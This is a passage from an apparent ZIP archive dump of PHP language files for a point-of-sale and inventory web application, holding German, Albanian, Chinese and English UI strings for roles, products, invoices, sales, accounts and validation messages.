zuzugreifen', 'dashboard_permission' => 'Wenn diese Option deaktiviert ist, wird nur die Willkommensnachricht in Home angezeigt.', 'access_locations_permission' => 'Wählen Sie alle Orte aus, auf die diese Rolle zugreifen kann. Alle Daten für den ausgewählten Ort werden nur dem Benutzer angezeigt. <br/> <br/> <small> Beispiel: Sie können damit <i> Store Manager / Kassierer definieren / Lagerleiter / Filialleiter, </ i> eines bestimmten Standorts. </small> ', 'print_receipt_on_invoice' => 'Automatisches Drucken der Rechnung beim Finalisieren aktivieren oder deaktivieren', 'receipt_printer_type' => '<i> Browserbasiertes Drucken </ i>: Druckdialogfeld im Browser mit Vorschau der Rechnung anzeigen <br/> <br/> <i> Konfigurierten Belegdrucker verwenden </ i>: Wählen Sie einen konfigurierten Beleg / Thermodrucker für Drucken', 'adjustment_type' => '<i> Normal </ i>: Anpassung für normale Gründe wie Leckage, Schaden usw. <br/> <br/> <i> Abnormal </ i>: Anpassung aus Gründen wie Feuer, Unfall etc.', 'total_amount_recovered' => 'Betrag, der von der Versicherung oder dem Verkauf von Schrott oder von anderen zurückgewonnen wird', 'express_checkout' => 'Markiere komplette Barzahlung und checke', 'total_card_slips' => 'Gesamtzahl der in diesem Register verwendeten Kartenzahlungen', 'total_cheques' => 'Gesamtzahl der in diesem Register verwendeten Schecks', 'capability_profile' => "Die Unterstützung für Befehle und Codepages variiert zwischen Druckeranbietern und Modellen. Wenn Sie sich nicht sicher sind, ist es eine gute Idee, das 'einfache' Fähigkeitsprofil zu verwenden.", 'purchase_different_currency' => 'Wählen Sie diese Option, wenn Sie in einer anderen Währung als Ihrer Geschäftswährung kaufen', 'currency_exchange_factor' => "1 Kaufwährung = ? Basiswährung <br> <small class='text-muted'> Sie können 'Kauf in anderer Währung' in den Geschäftseinstellungen aktivieren / deaktivieren. </small>", 'accounting_method' => 'Buchhaltungsmethode', 'transaction_edit_days' => 'Anzahl der Tage ab Transaktionsdatum, bis zu der eine Transaktion bearbeitet werden kann.', 'stock_expiry_alert' => "Liste der Aktien, die ablaufen in :days Tage <br> <small class='text-muted'> Sie können die Anzahl der Tage in den Business-Einstellungen festlegen </small>", ]; PK G �Z��;�f f ce/role.phpnu �[��� <?php return [ 'add_role' => 'Shto rol', 'edit_role' => 'Ndrysho rolin', 'user' => 'User', 'supplier' => 'Furnizues', 'customer' => 'Customer', 'purchase' => 'Rregullimi i Blerjes dhe i Stoqit', 'report' => 'Raporti', 'user.view' => 'Shikoni përdoruesin', 'user.create' => 'Shto përdorues', 'user.update' => 'Ndrysho përdorues', 'user.delete' => 'Fshi përdoruesin', 'supplier.view' => 'Shikoni furnizuesin', 'supplier.create' => 'Shto furnizues', 'supplier.update' => 'Edit furnizuesi', 'supplier.delete' => 'Fshi furnizuesin', 'customer.view' => 'Shiko klientin', 'customer.create' => 'Shto klient', 'customer.update' => 'Redakto klient', 'customer.delete' => 'Fshi klientin', 'product.view' => 'Shikoni produktin', 'product.create' => 'Shto produkt', 'product.update' => 'Edit produkt', 'product.delete' => 'Fshi produktin', 'purchase.view' => 'Shikoni blerjen dhe përshtatjen e stoqeve', 'purchase.create' => 'Shto rregullimin e blerjeve dhe aksioneve', 'purchase.update' => 'Ndrysho blerjen dhe rregullimin e stoqeve', 'purchase.delete' => 'Fshi blerjen dhe rregullimin e stoqeve', 'sell.view' => 'Shikoni POS shitni', 'sell.create' => 'Shto shitur POS', 'sell.update' => 'Edit POS shes', 'sell.delete' => 'Fshi shitjen e POS-ve', 'purchase_n_sell_report.view' => 'Shiko raportin e blerjes dhe shitjes', 'contacts_report.view' => 'Shikoni raportin e Furnizuesit dhe Klientit', 'stock_report.view' => 'Shikoni raportin e aksioneve, raportin e rregullimit të stoqeve dhe raportin e skadimit të aksioneve', 'tax_report.view' => 'Shiko raportin e taksave', 'trending_product_report.view' => 'Shikoni raportin e produktit në trend', 'register_report.view' => 'Shiko raportin e regjistrimit', 'sales_representative.view' => 'Shikoni raportin e përfaqësimit të shitjeve', 'expense_report.view' => 'Shikoni raportin e shpenzimeve', 'business_settings.access' => 'Cakto cilësimet e biznesit', 'barcode_settings.access' => 'Cilësimet e kodit të hyrjes', 'invoice_settings.access' => 'Vendosja e faturave të hyrjes', 'brand.view' => 'Shikoni markën', 'brand.create' => 'Shto markë', 'brand.update' => 'Ndrysho markën', 'brand.delete' => 'Fshije markën', 'tax_rate.view' => 'Shikoni normën e tatimit', 'tax_rate.create' => 'Shto shkallë tatimore', 'tax_rate.update' => 'Redakto shkallën e taksave', 'tax_rate.delete' => 'Fshi shkallën e taksave', 'unit.view' => 'Shikoni njësinë', 'unit.create' => 'Shto njësi', 'unit.update' => 'Modifiko njësinë', 'unit.delete' => 'Fshi njësinë', 'category.view' => 'Shiko kategorinë', 'category.create' => 'Shto kategori', 'category.update' => 'Modifiko kategorinë', 'category.delete' => 'Fshi kategorinë', 'select_all' => 'Selektoj të gjitha', 'settings' => 'Settings', 'brand' => 'Brand', 'tax_rate' => 'Norma e tatimit', 'unit' => 'Unit', 'access_locations' => 'Vendet e hyrjes', 'all_locations' => 'Të gjitha vendndodhjet', 'dashboard' => 'Home', 'dashboard.data' => 'Shikoni të dhënat e Shtëpisë', 'profit_loss_report.view' => 'Shikoni raportin e fitimit / humbjes', 'direct_sell.access' => 'Qasja shitet', ]; PK G �Z���MM M ce/product.phpnu �[��� <?php return [ 'exc_of_tax' => 'Steuer nicht inbegriffen', 'inc_of_tax' => 'Steuern eingeschlossen', 'profit_percent' => 'x Rand (%)', 'add_new_product' => 'Neues Produkt hinzufügen', 'add_product_for_labels' => 'Hinzufügen von Produkten zum Generieren von Labels', 'product_type' => 'Produktart', 'category' => 'Kategorie', 'sub_category' => 'Unterkategorie', 'unit' => 'Einheit', 'brand' => 'Marke', 'tax' => 'MwSt', 'sku' => 'SKU', 'alert_quantity' => 'Alarmmenge', 'product_name' => 'Produktname', 'auto_generate' => 'Automatisch generieren', 'manage_stock' => 'Lagerbestand verwalten?', 'enable_stock_help' => 'Lagerverwaltung auf Produktebene aktivieren', 'barcode_type' => 'Barcode-Typ', 'applicable_tax' => 'Anwendbare Steuer', 'selling_price_tax_type' => 'Verkaufspreissteuerart', 'inclusive' => 'Inklusive', 'exclusive' => 'Exklusiv', 'edit_product' => 'Produkt bearbeiten', 'default_purchase_price' => 'Standardkaufpreis', 'default_selling_price' => 'Standardverkaufspreis', 'value' => 'Wert', 'variation_name' => 'Variationsname', 'variation_values' => 'Variationswerte', 'use_template' => 'Benutze Template', 'add_variation' => 'Variation hinzufügen', 'product_added_success' => 'Produkt erfolgreich hinzugefügt', 'product_updated_success' => 'Produkt wurde erfolgreich aktualisiert', 'enable_product_expiry' => 'Produktablauf aktivieren', 'expiry_period' => 'Ablaufzeitraum', 'expires_in' => 'Läuft ab in', 'not_applicable' => 'Unzutreffend', 'months' => 'Monate', 'days' => 'Tage', 'mfg_date' => 'Herstellungsdatum', 'exp_date' => 'Verfallsdatum', 'view_product' => 'Produkt anzeigen', 'add_product' => 'Produkt hinzufügen', 'variations' => 'Variationen', 'import_products' => 'Produkte importieren', 'file_to_import' => 'Zu importierende Datei', 'file_imported_successfully' => 'Datei erfolgreich importiert', 'variation_sku_format' => '变体SKU格式', 'variation_sku_format_help_text' => '变体SKU格式 - 当变体SKU为空时，将使用此格式生成变体的SKU。', 'sku_number' => 'SKU编号（示例-> ABC-1，ABC-2）', 'sku_variation_number' => 'SKU变体（示例-> ABCS，ABCM）' ]; PK G �ZL�H? ? ce/invoice.phpnu �[��� <?php return [ 'invoice_settings' => 'Rechnungseinstellungen', 'manage_your_invoices' => 'Verwalten Sie Ihre Rechnungseinstellungen', 'all_your_invoice_schemes' => 'Alle Ihre Rechnungsschemata', 'added_success' => 'Rechnungseinstellung erfolgreich hinzugefügt', 'updated_success' => 'Rechnungseinstellung erfolgreich aktualisiert', 'deleted_success' => 'Rechnungseinstellung erfolgreich gelöscht', 'add_invoice' => 'Neues Rechnungsschema hinzufügen', 'edit_invoice' => 'Rechnungsschema bearbeiten', 'name' => 'Name', 'prefix' => 'Präfix', 'start_number' => 'Beginne am', 'total_digits' => 'Anzahl an Ziffern', 'preview' => 'Vorschau', 'not_selected' => 'Nicht ausgewählt', 'invoice_count' => 'Rechnungsanzahl', 'invoice_schemes' => 'Rechnungspläne', 'invoice_layouts' => 'Rechnungslayouts', 'invoice_layout' => 'Rechnungslayout', 'all_your_invoice_layouts' => 'Alle Ihre Rechnungslayouts', 'add_invoice_layout' => 'Neues Rechnungslayout hinzufügen', 'layout_name' => 'Layoutname', 'invoice_scheme' => 'Rechnungsschema', 'header_text' => 'Überschrift', 'invoice_no_prefix' => 'Rechnung Nr. Label', 'invoice_heading' => 'Rechnungsüberschrift', 'sub_total_label' => 'Zwischensumme Label', 'discount_label' => 'Rabattmarke', 'tax_label' => 'Steuerzeichen', 'total_label' => 'Gesamtlabel', 'fields_to_be_shown_in_address' => 'Felder, die in der Standortadresse angezeigt werden sollen', 'highlight_color' => 'Hervorhebungsfarbe', 'footer_text' => 'Fusszeile', 'layout_added_success' => 'Rechnungslayout erfolgreich hinzugefügt', 'edit_invoice_layout' => 'Rechnungslayout bearbeiten', 'layout_updated_success' => 'Rechnungslayout erfolgreich aktualisiert', 'used_in_locations' => 'Verwendet in Standorten', 'show_business_name' => 'Firmenname anzeigen', 'show_location_name' => 'Standortname anzeigen', 'show_mobile_number' => 'Handynummer', 'show_alternate_number' => 'Alternative Nummer', 'show_email' => 'Email', 'show_tax_1' => 'Steuer 1 Details', 'show_tax_2' => 'Steuer 2 Details', 'fields_to_shown_for_communication' => 'Felder für Kommunikationsdetails', 'fields_to_shown_for_tax' => 'Felder für Steuerdetails', 'invoice_logo' => 'Rechnungslogo', 'show_logo' => 'Rechnungslogo anzeigen', 'show_barcode' => 'Barcode zeigen', 'total_due_label' => 'Insgesamt fälliges Etikett', 'invoice_heading_not_paid' => 'Überschrift Suffix für nicht bezahlt', 'invoice_heading_paid' => 'Überschrift Suffix für bezahlt', 'show_payments' => 'Zahlungsinformationen anzeigen', 'show_customer' => 'Kundeninformationen anzeigen', 'paid_label' => 'Bezahltes Label', 'customer_label' => 'Kundenlabel', ]; PK G �Z�J�ra a en/expense.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Expense Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Expense CRUD operations. | */ 'expenses' => 'Expenses', 'expense_categories' => 'Expense Categories', 'manage_your_expense_categories' => 'Manage your expense categories', 'all_your_expense_categories' => 'All your expense categories', 'expense_category' => 'Expense Category', 'category_name' => 'Category name', 'category_code' => 'Category code', 'added_success' => 'Expense category added successfully', 'updated_success' => 'Expense category updated successfully', 'deleted_success' => 'Expense category deleted successfully', 'add_expense_category' => 'Add Expense Category', 'edit_expense_category' => 'Edit Expense Category', 'all_expenses' => 'All expenses', 'expense_status' => 'Expense status', 'add_expense' => 'Add Expense', 'edit_expense' => 'Edit Expense', 'expense_note' => 'Expense note', 'expense_add_success' => 'Expense added successfully', 'expense_update_success' => 'Expense updated successfully', 'expense_delete_success' => 'Expense deleted successfully', 'expense_for' => 'Expense for', ]; PK G �Z�?�ˡ � en/messages.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Common Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during common CRUD operations. | */ 'add' => 'Add', 'edit' => 'Edit', 'save' => 'Save', 'update' => 'Update', 'action' => 'Action', 'actions' => 'Actions', 'view' => 'View', 'delete' => 'Delete', 'close' => 'Close', 'something_went_wrong' => 'Something went wrong, please try again later', 'required' => 'This field is required', 'please_select' => 'Please Select', 'cancel' => 'Cancel', 'date' => 'Date', 'filter_by_date' => 'Filter by date', 'location' => 'Location', 'go_back' => 'Go Back', 'due_tooltip' => '-ve value = Amount to pay <br> +ve value = Amount to receive', 'purchase_due_tooltip' => '-ve value = Amount to receive <br> +ve value = Amount to pay', 'yes' => 'Yes', 'no' => 'No', 'all' => 'All', 'settings' => 'Settings', 'business_location_settings' => 'Business Location Settings', 'print' => 'Print', 'submit' => 'Submit', 'purchase_sell_mismatch_exception' => 'ERROR: NOT ALLOWED: Mismatch between sold and purchase quantity. Product: :product', 'purchase_stock_adjustment_mismatch_exception' => 'ERROR: NOT ALLOWED: Mismatch between stock adjustment and purchase quantity. Product: :product', 'transaction_edit_not_allowed' => 'Transaction edit not allowed after :days days.', 'name' => 'Name', 'price' => 'Price', 'activate' => 'Activate', 'deactivate' => 'Deactivate', ]; PK G �Zߛ�U U en/stock_adjustment.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Stock Adjustment Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Stock Adjustment CRUD operations. | */ 'stock_adjustment' => 'Stock Adjustment', 'stock_adjustments' => 'Stock Adjustments', 'list' => 'List Stock Adjustments', 'add' => 'Add Stock Adjustment', 'all_stock_adjustments' => 'All stock adjustments', 'search_product' => 'Search products for stock adjustment', 'adjustment_type' => 'Adjustment type', 'normal' => 'Normal', 'abnormal' => 'Abnormal', 'total_amount' => 'Total Amount', 'total_amount_recovered' => 'Total amount recovered', 'reason_for_stock_adjustment' => 'Reason', 'stock_adjustment_added_successfully' => 'Stock adjustment added successfully', 'search_products' => 'Search Products', 'delete_success' => 'Stock adjustment deleted successfully', 'view_details' => 'View stock adjustment details', ]; PK G �Z�A� en/home.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Home Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in home page. | */ 'home' => 'Home', 'welcome_message' => 'Welcome :name, 👋', 'total_sell' => 'Total Sales', 'total_purchase' => 'Total purchase', 'invoice_due' => 'Invoice due', 'purchase_due' => 'Purchase due', 'today' => 'Today', 'this_week' => 'This Week', 'this_month' => 'This Month', 'this_fy' => 'This Financial Year', 'sells_last_30_days' => 'Sales Last 30 Days', 'sells_current_fy' => 'Sales Current Financial Year', 'total_sells' => 'Total Sales (:currency)', 'product_stock_alert' => 'Product Stock Alert', 'payment_dues' => 'Payment Dues', 'due_amount' => 'Due Amount', 'stock_expiry_alert' => 'Stock Expiry Alert', 'todays_profit' => "Today's profit", 'dashboard' => 'Dashboard', ]; PK G �Z��W9e e en/receipt.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Receipt Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in receipt | */ 'product' => 'Product', 'qty' => 'Quantity', 'unit_price' => 'Unit Price', 'subtotal' => 'Subtotal', 'discount' => 'Discount', 'tax' => 'Tax', 'total' => 'Total', 'invoice_number' => 'Invoice No.', 'date' => 'Date', 'receipt_settings' => 'Receipt Settings', 'receipt_settings_mgs' => 'All receipt related settings for this location', 'print_receipt_on_invoice' => 'Auto print invoice after finalizing', 'receipt_printer_type' => 'Receipt Printer Type', 'receipt_settings_updated' => 'Receipt Setting updated succesfully', ]; PK G �Za3M�P P en/tax_rate.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Tax Rates Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Tax Rate CRUD operations. | */ 'tax_rates' => 'Tax Rates', 'manage_your_tax_rates' => 'Manage your tax rates', 'all_your_tax_rates' => 'All your tax rates', 'name' => 'Name', 'rate' => 'Tax Rate %', 'added_success' => 'Tax rate added successfully', 'updated_success' => 'Tax rate updated successfully', 'deleted_success' => 'Tax rate deleted successfully', 'add_tax_rate' => 'Add Tax Rate', 'edit_taxt_rate' => 'Edit Tax Rate', 'add_tax_group' => 'Add tax group', 'tax_group_added_success' => 'Tax group added successfully', 'tax_group_updated_success' => 'Tax group updated successfully', 'tax_groups' => 'Tax groups', 'edit_tax_group' => 'Edit tax group', 'sub_taxes' => 'Sub taxes', 'can_not_be_deleted' => 'This tax rate belongs to some tax groups', ]; PK G �Z��� � en/category.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'categories' => 'Categories', 'manage_your_categories' => 'Manage your categories', 'all_your_categories' => 'All your categories', 'category' => 'Category', 'category_name' => 'Category name', 'code' => 'Category Code', 'add_as_sub_category' => 'Add as sub-category', 'select_parent_category' => 'Select parent category', 'added_success' => 'Category added successfully', 'updated_success' => 'Category updated successfully', 'deleted_success' => 'Category deleted successfully', 'add_category' => 'Add Category', 'edit_category' => 'Edit Category', ]; PK G �ZV���� � en/brand.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'brands' => 'Brands', 'manage_your_brands' => 'Manage your brands', 'all_your_brands' => 'All your brands', 'note' => 'Note', 'brand_name' => 'Brand name', 'short_description' => 'Short description', 'added_success' => 'Brand added successfully', 'updated_success' => 'Brand updated successfully', 'deleted_success' => 'Brand deleted successfully', 'add_brand' => 'Add brand', 'edit_brand' => 'Edit brand', ]; PK G �Z1hr4� � en/auth.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Authentication Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during authentication for various | messages that we need to display to the user. You are free to modify | these language lines according to your application's requirements. | */ 'failed' => 'These credentials do not match our records.', 'password' => 'The provided password is incorrect.', 'throttle' => 'Too many login attempts. Please try again in :seconds seconds.', ]; PK G �Z�%��& �& en/validation.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Validation Language Lines |-------------------------------------------------------------------------- | | The following language lines contain the default error messages used by | the validator class. Some of these rules have multiple versions such | as the size rules. Feel free to tweak each of these messages here. | */ 'accepted' => 'The :attribute must be accepted.', 'accepted_if' => 'The :attribute must be accepted when :other is :value.', 'active_url' => 'The :attribute is not a valid URL.', 'after' => 'The :attribute must be a date after :date.', 'after_or_equal' => 'The :attribute must be a date after or equal to :date.', 'alpha' => 'The :attribute must only contain letters.', 'alpha_dash' => 'The :attribute must only contain letters, numbers, dashes and underscores.', 'alpha_num' => 'The :attribute must only contain letters and numbers.', 'array' => 'The :attribute must be an array.', 'ascii' => 'The :attribute must only contain single-byte alphanumeric characters and symbols.', 'before' => 'The :attribute must be a date before :date.', 'before_or_equal' => 'The :attribute must be a date before or equal to :date.', 'between' => [ 'array' => 'The :attribute must have between :min and :max items.', 'file' => 'The :attribute must be between :min and :max kilobytes.', 'numeric' => 'The :attribute must be between :min and :max.', 'string' => 'The :attribute must be between :min and :max characters.', ], 'boolean' => 'The :attribute field must be true or false.', 'confirmed' => 'The :attribute confirmation does not match.', 'current_password' => 'The password is incorrect.', 'date' => 'The :attribute is not a valid date.', 'date_equals' => 'The :attribute must be a date equal to :date.', 'date_format' => 'The :attribute does not match the format :format.', 'decimal' => 'The :attribute must have :decimal decimal places.', 'declined' => 'The :attribute must be declined.', 'declined_if' => 'The :attribute must be declined when :other is :value.', 'different' => 'The :attribute and :other must be different.', 'digits' => 'The :attribute must be :digits digits.', 'digits_between' => 'The :attribute must be between :min and :max digits.', 'dimensions' => 'The :attribute has invalid image dimensions.', 'distinct' => 'The :attribute field has a duplicate value.', 'doesnt_end_with' => 'The :attribute may not end with one of the following: :values.', 'doesnt_start_with' => 'The :attribute may not start with one of the following: :values.', 'email' => 'The :attribute must be a valid email address.', 'ends_with' => 'The :attribute must end with one of the following: :values.', 'enum' => 'The selected :attribute is invalid.', 'exists' => 'The selected :attribute is invalid.', 'file' => 'The :attribute must be a file.', 'filled' => 'The :attribute field must have a value.', 'gt' => [ 'array' => 'The :attribute must have more than :value items.', 'file' => 'The :attribute must be greater than :value kilobytes.', 'numeric' => 'The :attribute must be greater than :value.', 'string' => 'The :attribute must be greater than :value characters.', ], 'gte' => [ 'array' => 'The :attribute must have :value items or more.', 'file' => 'The :attribute must be greater than or equal to :value kilobytes.', 'numeric' => 'The :attribute must be greater than or equal to :value.', 'string' => 'The :attribute must be greater than or equal to :value characters.', ], 'image' => 'The :attribute must be an image.', 'in' => 'The selected :attribute is invalid.', 'in_array' => 'The :attribute field does not exist in :other.', 'integer' => 'The :attribute must be an integer.', 'ip' => 'The :attribute must be a valid IP address.', 'ipv4' => 'The :attribute must be a valid IPv4 address.', 'ipv6' => 'The :attribute must be a valid IPv6 address.', 'json' => 'The :attribute must be a valid JSON string.', 'lowercase' => 'The :attribute must be lowercase.', 'lt' => [ 'array' => 'The :attribute must have less than :value items.', 'file' => 'The :attribute must be less than :value kilobytes.', 'numeric' => 'The :attribute must be less than :value.', 'string' => 'The :attribute must be less than :value characters.', ], 'lte' => [ 'array' => 'The :attribute must not have more than :value items.', 'file' => 'The :attribute must be less than or equal to :value kilobytes.', 'numeric' => 'The :attribute must be less than or equal to :value.', 'string' => 'The :attribute must be less than or equal to :value characters.', ], 'mac_address' => 'The :attribute must be a valid MAC address.', 'max' => [ 'array' => 'The :attribute must not have more than :max items.', 'file' => 'The :attribute must not be greater than :max kilobytes.', 'numeric' => 'The :attribute must not be greater than :max.', 'string' => 'The :attribute must not be greater than :max characters.', ], 'max_digits' => 'The :attribute must not have more than :max digits.', 'mimes' => 'The :attribute must be a file of type: :values.', 'mimetypes' => 'The :attribute must be a file of type: :values.', 'min' => [ 'array' => 'The :attribute must have at least :min items.', 'file' => 'The :attribute must be at least :min kilobytes.', 'numeric' => 'The :attribute must be at least :min.', 'string' => 'The :attribute must be at least :min characters.', ], 'min_digits' => 'The :attribute must have at least :min digits.', 'multiple_of' => 'The :attribute must be a multiple of :value.', 'not_in' => 'The selected :attribute is invalid.', 'not_regex' => 'The :attribute format is invalid.', 'numeric' => 'The :attribute must be a number.', 'password' => [ 'letters' => 'The :attribute must contain at least one letter.', 'mixed' => 'The :attribute must contain at least one uppercase and one lowercase letter.', 'numbers' => 'The :attribute must contain at least one number.', 'symbols' => 'The :attribute must contain at least one symbol.', 'uncompromised' => 'The given :attribute has appeared in a data leak. Please choose a different :attribute.', ], 'present' => 'The :attribute field must be present.', 'prohibited' => 'The :attribute field is prohibited.', 'prohibited_if' => 'The :attribute field is prohibited when :other is :value.', 'prohibited_unless' => 'The :attribute field is prohibited unless :other is in :values.', 'prohibits' => 'The :attribute field prohibits :other from being present.', 'regex' => 'The :attribute format is invalid.', 'required' => 'The :attribute field is required.', 'required_array_keys' => 'The :attribute field must contain entries for: :values.', 'required_if' => 'The :attribute field is required when :other is :value.', 'required_if_accepted' => 'The :attribute field is required when :other is accepted.', 'required_unless' => 'The :attribute field is required unless :other is in :values.', 'required_with' => 'The :attribute field is required when :values is present.', 'required_with_all' => 'The :attribute field is required when :values are present.', 'required_without' => 'The :attribute field is required when :values is not present.', 'required_without_all' => 'The :attribute field is required when none of :values are present.', 'same' => 'The :attribute and :other must match.', 'size' => [ 'array' => 'The :attribute must contain :size items.', 'file' => 'The :attribute must be :size kilobytes.', 'numeric' => 'The :attribute must be :size.', 'string' => 'The :attribute must be :size characters.', ], 'starts_with' => 'The :attribute must start with one of the following: :values.', 'string' => 'The :attribute must be a string.', 'timezone' => 'The :attribute must be a valid timezone.', 'unique' => 'The :attribute has already been taken.', 'uploaded' => 'The :attribute failed to upload.', 'uppercase' => 'The :attribute must be uppercase.', 'url' => 'The :attribute must be a valid URL.', 'ulid' => 'The :attribute must be a valid ULID.', 'uuid' => 'The :attribute must be a valid UUID.', /* |-------------------------------------------------------------------------- | Custom Validation Language Lines |-------------------------------------------------------------------------- | | Here you may specify custom validation messages for attributes using the | convention "attribute.rule" to name the lines. This makes it quick to | specify a specific custom language line for a given attribute rule. | */ 'custom' => [ 'attribute-name' => [ 'rule-name' => 'custom-message', ], ], /* |-------------------------------------------------------------------------- | Custom Validation Attributes |-------------------------------------------------------------------------- | | The following language lines are used to swap our attribute placeholder | with something more reader friendly such as "E-Mail Address" instead | of "email". This simply helps us make our message more expressive. | */ 'attributes' => [], 'custom-messages' => [ 'quantity_not_available' => 'Quantity :qty :unit available', 'this_field_is_required' => 'This field is required', ], ]; PK G �Z��\m m en/account.phpnu �[��� <?php return [ 'account' => 'Account', 'manage_your_account' => 'Manage your account', 'all_accounts' => 'All accounts', 'account_number' => 'Account Number', 'add_account' => 'Add Account', 'account_created_success' => 'Account created successfully', 'account_updated_success' => 'Account updated successfully', 'edit_account' => 'Edit Account', 'account_closed_success' => 'Account closed successfully', 'closed' => 'Closed', 'list_accounts' => 'List Accounts', 'opening_balance' => 'Opening Balance', 'account_book' => 'Account Book', 'credit' => 'Credit', 'debit' => 'Debit', 'account_name' => 'Account Name', 'transaction_type' => 'Transaction Type', 'fund_transfer' => 'Fund Transfer', 'selected_account' => 'Selected Account', 'transfer_to' => 'Transfer To', 'fund_transfered_success' => 'Fund transfered successfully', 'deposit' => 'Deposit', 'deposited_successfully' => 'Amount deposited successfully', 'from' => 'From', 'to' => 'To', 'balance_sheet' => 'Balance Sheet', 'liability' => 'Liability', 'assets' => 'Assets', 'supplier_due' => 'Supplier Due', 'customer_due' => 'Customer Due', 'account_balances' => 'Account Balances', 'total_assets' => 'Total Assets', 'total_liability' => 'Total Liability', 'trial_balance' => 'Trial Balance', 'payments_not_linked_with_account' => 'Total <b>:payments</b> payments not linked with any account.', 'saving_current' => 'Saving/Current', 'capital' => 'Capital', 'not_applicable' => 'Not Applicable', 'account_type' => 'Account Type', 'accounts' => 'Accounts', 'capital_accounts' => 'Capital Accounts', 'deposit_from' => 'Deposit From', 'no_capital_account_created' => 'No active Capital Account exists.', 'payment_account_report' => 'Payment Account Report', 'invoice_ref_no' => 'Invoice No./Ref. No.', 'payment_ref_no' => 'Payment Ref No.', 'payment_for' => 'Payment For', 'link_account' => 'Link Account', 'account_linked_success' => 'Account linked successfully', 'view_details' => 'View Details', ]; PK G �Z���} en/pagination.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Pagination Language Lines |-------------------------------------------------------------------------- | | The following language lines are used by the paginator library to build | the simple pagination links. You are free to change them to anything | you want to customize your views to better match your application. | */ 'previous' => '« Previous', 'next' => 'Next »', ]; PK G �Z�aF�7 7 en/contact.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Contact Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during Contacts CRUD operations. | */ 'contacts' => 'Contacts', 'name' => 'Name', 'contact' => 'Contact', 'manage_your_contact' => 'Manage your :contacts', 'all_your_contact' => 'All your :contacts', 'add_contact' => 'Add a new contact', 'contact_type' => 'Contact type', 'tax_no' => 'Tax number', 'pay_term' => 'Pay term', 'pay_term_period' => 'Pay term period', 'mobile' => 'Mobile', 'landline' => 'Landline', 'alternate_contact_number' => 'Alternate contact number', 'edit_contact' => 'Edit contact', 'added_success' => 'Contact added successfully', 'updated_success' => 'Contact updated successfully', 'deleted_success' => 'Contact deleted successfully', 'add_new_customer' => 'Add new customer', 'view_contact' => 'View Contact', 'contact_info' => ':contact info', 'all_purchases_linked_to_this_contact' => 'All purchases related to this contact', 'all_sells_linked_to_this_contact' => 'All sells related to this contact', 'total_purchase_due' => 'Total Purchase Due', 'pay_due_amount' => 'Pay Due Amount', 'total_paid' => 'Total Paid', 'total_purchase_paid' => 'Total Purchase Payment', 'total_sale_paid' => 'Total Sale Payment', 'total_sale_due' => 'Total Sale Due', 'customer' => 'Customer', ]; PK G �Z+�]C C en/sale.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'sale' => 'Sell', 'sells' => 'Sales', 'list_sale' => 'List Sales', 'add_sale' => 'Add Sale', 'pos_sale' => 'POS', 'draft_added' => 'Draft added successfully', 'invoice_added' => 'Invoice added successfully', 'item' => 'Items', 'total' => 'Total', 'order_tax' => 'Order Tax', 'discount' => 'Discount', 'total_payable' => 'Total Payable', 'cancel' => 'Cancel', 'draft' => 'Draft', 'finalize' => 'Pay & Checkout', 'express_finalize' => 'Express <br/>Checkout', 'product' => 'Product', 'products' => 'Products', 'unit_price' => 'Unit Price', 'qty' => 'Quantity', 'subtotal' => 'Subtotal', 'pos_sale_added' => 'Sale added successfully', 'price_inc_tax' => 'Price inc. tax', 'tax' => 'Tax', 'edit_discount' => 'Edit Discount', 'edit_order_tax' => 'Edit Order Tax', 'discount_type' => 'Discount Type', 'discount_amount' => 'Discount Amount', 'no_recent_transactions' => 'No Recent Transactions', 'final' => 'Final', 'invoice_no' => 'Invoice No.', 'customer_name' => 'Customer name', 'payment_status' => 'Payment Status', 'status' => 'Status', 'total_amount' => 'Total amount', 'total_paid' => 'Total paid', 'total_remaining' => 'Total remaining', 'payment_info' => 'Payment info', 'drafts' => 'Drafts', 'all_drafts' => 'All drafts', 'sell_details' => 'Sell Details', 'payments' => 'Payments', 'amount' => 'Amount', 'payment_mode' => 'Payment mode', 'payment_note' => 'Payment note', 'sell_note' => 'Sell note', 'staff_note' => 'Staff note', 'draft_updated' => 'Draft updated successfully', 'pos_sale_updated' => 'Sale updated successfully', 'location' => 'Location', 'add_payment_row' => 'Add Payment Row', 'finalize_payment' => 'Finalize Payment', 'sale_date' => 'Sale Date', 'list_pos' => 'List POS', 'edit_sale' => 'Edit Sale', 'shipping' => 'Shipping', 'shipping_details' => 'Shipping Details', 'shipping_charges' => 'Shipping Charges', ]; PK G �Z �{kG G en/report.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Report Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in reports | */ 'reports' => 'Reports', 'purchase_sell_report' => 'Purchase & Sale', 'purchase_sell' => 'Purchase & Sale Report', 'purchase_sell_msg' => 'Purchase & sale details for the selected date range', 'total_purchase' => 'Total Purchase', 'purchase_inc_tax' => 'Purchase Including tax', 'total_sell' => 'Total Sale', 'sell_inc_tax' => 'Sale Including tax', 'purchase_due' => 'Purchase Due', 'sell_due' => 'Sale Due', 'overall' => 'Overall (Sale-Purchase)', 'sell_minus_purchase' => 'Sale - 